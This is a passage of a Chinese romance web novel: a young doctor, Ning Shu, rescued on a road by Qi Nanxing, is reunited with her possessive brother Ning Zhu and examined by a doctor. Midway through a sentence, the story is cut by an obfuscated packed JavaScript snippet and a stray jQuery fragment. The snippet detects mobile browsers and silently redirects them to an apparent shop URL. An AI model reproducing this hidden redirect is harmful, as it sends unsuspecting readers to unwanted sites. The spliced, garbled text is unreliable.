宁姝哭得厉害,好不容易才止住眼泪时,因为气息不顺,甚至打起嗝来。她有些赧然地挣出宁珩的怀抱,捂着嘴不看他。
宁珩面上流露出些许笑意,不顾她的闪躲,长臂一揽又将人圈入怀中,占有的意味十足。
他摸了摸宁姝的脑袋,认真地凝视着她那双水光朦胧的泪眼:“哭够了?方才都没来得及问你,身上可有受伤?”
宁姝把捂着嘴的手挪开了一点,哑声道:“没有,都是些小伤……没有大碍的。”
宁珩却面容严肃:“受伤了怎么不跟我说?小伤也要谨慎应对,你是大夫还能不知道吗?”
宁姝被训了两句,只得讷讷应是。没承想宁珩放心不下,竟问道:“伤在何处?让我看看。”
“真、真没事!”宁姝见他绷着一张脸,动作间是真的想把她从被里捞出来检查一番,眼里的压迫感仿佛都要实质化了,连忙缩回床上拉紧了铺盖,脸都红了。
“宁珩你够了啊,妹妹好不容易才休息会,你搅扰她作甚?看把妹妹吓得!”门外传来了一道清朗的男声,宁珩反射性站起身,将宁姝挡在身后,却见一个熟悉的人影踏了进来,他身后还缀着好几个人,宁风也在其中。
宁珩眉心一拧:“是你?”
祁南星微一挑眉,露出一个有点贱嗖嗖的表情:“怎么,见到我很意外?”
宁姝从身后悄悄拽了一把宁珩的衣摆,见他回过身,仰着头道:“是祁哥哥在半道上把我救回来的,哥哥。”
时间回到三个时辰前。
好不容易送走了带着他爹的命令来对他从头到脚严格管束的二姐,祁南星只觉得浑身舒畅,哪怕二姐在临走前还拉着他千叮咛万嘱咐,导致他都这个时辰了也没赶回书院,他心里也轻松得很。
“少爷,我再催刘叔赶快一点儿吧,万一学舍关门了进不去可怎么办……”小厮在旁忧心忡忡。
祁南星曲着一条腿横卧在锦褥上,百无聊赖地抛着手里的一个杏子,懒懒道:“那就不回去了呗!反正我也向书院告过假了,于掌学虽说严厉了些,但却最是看重孝道,若他知道我是因为送别亲人才迟了,也不会怪罪我的。”
小厮这才不再多话了,祁南星好容易得了清静,马车却在这时突然颠簸了一下,震得他差点跌了下去。
“怎么回事?刘叔你慢点儿,赶不回去了就住城里呗,再不济还有座别庄呢。”祁南星轻斥道,一面让小厮把掉在车厢里的杏子捡回来。
好一会,刘叔颤抖的声音才从车帘外传来:“少、少爷,这路上,有、有个人……”
有人又怎么了?又不会吃了他们。祁南星不耐烦地掀开帘子,才发现刘叔口中的居然是个蜷缩成一团连男女都辨不清的人,鬓发散乱,身上的衣裳也脏兮兮的,简直像逃荒过来的。他悚然一惊,此时虽然还算不上深更半夜,但毕竟是在入夜的山林中,凭空出现这模样的一个人也是件蹊跷的事。
祁南星咽了咽口水,吩咐一旁的护院去看看人还活没活着,自己缩在车帘的一角里,紧张地盯着看。
护院上前很快探查了一番,高喊道:“少爷,是个女子,还活着——”
祁南星轻呼了口气,还好还好,不是鬼也不是死人。他转头又有些犹豫,这人显然是个麻烦,把她带回去只会给自己平添事端。但要让他就这么视而不见,任由这女子自生自灭,作为一个被家中女眷娇养着长大的独苗,他又有些不忍心。
“把她带上来吧。”
纠结片刻,还是救人的心占了上风,祁南星冲着护院招了招手。
身后的小厮哀怨道:“少爷,这不认识的人,哪里能胡乱捡回去,万一她包藏祸心——”
祁南星懒得听他的长篇大论,摆了摆手让他闭嘴:“既然碰到了就是缘分,善缘结善果,要让我袖手旁观我做不到。如果回去发现她不是个好人,我就立马赶她走。”
小厮见他心意已决,叹了口气也不说话了。
护院很快把人抱了上来,祁南星透过血迹斑斑的发丝,竟觉得这张脏污的面孔有几分熟悉,也不嫌黄泥脏了手,将碍眼的发丝拨到一旁,露出了一张灰土也掩盖不了其中隽秀的面容。
“宁妹妹——?!”
小厮也早就凑了上来,他是认识宁姝的,此刻认出人也震惊地张大了嘴,乖乖,竟然还捡了个熟人回来!
祁南星这下急了,让护院小心地把人放了下来,就立马吩咐车夫:“刘叔,调头去别院!”
他们此时距离别院并不远,马车驶了一刻钟就到了。祁南星原想找个细心点的丫鬟来,但他平日不是在书院就是在城里,别院里人手不多,能照顾宁姝的只有几个婆子。
情况紧急也顾不上其他了,祁南星让几个婆子给宁姝擦洗一番,因为别院里没有准备妙龄女子的衣裳,只能给她换上一个婆子给自己孙女做的寝衣。又听婆子们说这姑娘身上好些个细小的伤口,但这荒郊野岭的也找不着大夫,幸好马车里还有二姐给他带来的金疮药,祁南星又让婆子仔细给她的伤口上了药。
中途宁姝醒来过一回,祁南星已经要睡下了,听到护院来报还是起身去看她。宁姝原还有些不安和抗拒,生怕自己又被人劫走了,见到祁南星熟悉的脸才放下了戒备,安稳地睡去。
此时见宁珩一副剑拔弩张的样子,宁姝就知道他是误会了,转头看到晕在一旁的婆子,更是不好意思,歉意地对祁南星道:“祁哥哥真是对不住,还伤了你的人。我哥哥他是太担心我了,所以鲁莽了点,我替他跟你道歉。”
祁南星心疼道:“你道什么歉?好好躺下休息便是。宁风已经跟我解释过了,你别担心。”
他方才听守在宁姝门外的护院来报说有人闯入了屋里,顿时一惊,还以为是害了宁姝的罪魁祸首找上门来,没想到护卫却说宁姝似是与此人极为熟识,他才猜测应是宁珩找到了这里。
赶过来的路上又遇到了宁风,他在书院里一直随侍宁珩,祁南星也是识得他的,听他讲了事情的来龙去脉,考虑到宁珩寻妹急切的心情,也没打算追究他私自闯入自家宅院里的事。
人家兄妹久别重逢,一路上还遭受了这么多坎坷,他也不好进去打扰,就和其他人一起站在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092291|195482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了外面,等他们叙完话再进去。
然而房内却传出争执声,他探头进去,才发现是宁珩想要察看他妹妹的伤势。
哪怕是亲兄妹,彼此都大了,也应当避下嫌吧?祁南星在心里嘀嘀咕咕,宁珩这厮未免太不害臊了,就算初心是好的,但这样也有些超越兄妹的界限了。
出于尊重女孩子的考虑,祁南星并没有靠近卧房,只在站在外间扬声道:“宁妹妹,我从旁边的村子里请了个游医,我让他给你瞧瞧看?”
宁姝此时其实衣裳齐整,但她穿的外袍是别院婆子闲置的,对她来说有点宽大了,穿出去见人未免有点不太雅观,闻言答道:“好,多谢祁哥哥。”
若是放在以前,宁珩听见她一声声的“祁哥哥”醋都要喝饱了,哪里还会放任他们二人继续说下去?
但今时不同往日,祁南星毕竟是救了宁姝的恩人,且做的都是对她有益的事,就算宁珩心中还是难免会有些不豫,也还是忍了下去。
宁姝自己就是大夫,自然知道自己只是有些外伤罢了,且伤口也及时得到了包扎,又有祁南星给的金疮药,不出三日就能大好。
但看着宁珩拧成川字的剑眉,和眸光中难以掩饰的忧虑,她还是乖乖地伸出手腕让大夫搭脉。
不出她所料,大夫也说她的身体没有大碍。
“小姐的身体尚有些虚弱,近日需注意进补。另外只需按时换药,多加休息就好。”
宁珩听得认真,追问道:“照料时可还有什么需注意的地方?”
老大夫思索片刻,道:“小姐年纪小,受惊后症状可能一时半会显现不出来,三日内都有发高热,这两日尽量不要挪动地方,旁边最好也有人时刻看护着。”
宁珩暗暗记下,恭谨地一路把大夫送到门外。
祁南星抬起来的手僵了一下,又幽幽地放下了。这大夫,好像是他请来的吧?宁珩一副反客为主的样子是想怎样?
天光大亮,日头明晃晃地照到了脸上,刺得祁南星有一瞬间睁不开眼。
坏了!耽搁太久了,书院上学的时辰要晚了!祁南星一拍脑袋,急匆匆地吩咐婆子好好照顾宁姝,也顾不上再嘲讽宁珩两句了——没办法,人家是解元,早就不用和他们一样每天兢兢业业地按时点卯了,只有他还苦逼兮兮地天天从早读到晚。
人和人的差距怎么就这么大呢?祁南星费解地想着,一边向宁姝告别,带着自己的人一下就溜走了。
看着他那风风火火的样子,宁姝都有点忍俊不禁,面上流露出点点轻松的笑意。
宁珩吩咐完事,一回来就看见她望着祁南星的背影傻笑的样子,心中警铃大作,一个跨步挡住宁姝的目光,让她眼里只能剩下自己,不动声色道:“今天这事确实得感谢祁公子,哥哥回去好好备点礼感谢他。”
见宁姝点点头,宁珩转头又给祁南星上眼药:“还是他细心,把你照顾得这么好,不愧是从小在脂粉堆里长大的,身边没有缺过红颜知己。”
宁姝乍然听到自家端方自持的哥哥在背后八卦别人,眼睛都瞪大了:“真的吗?!”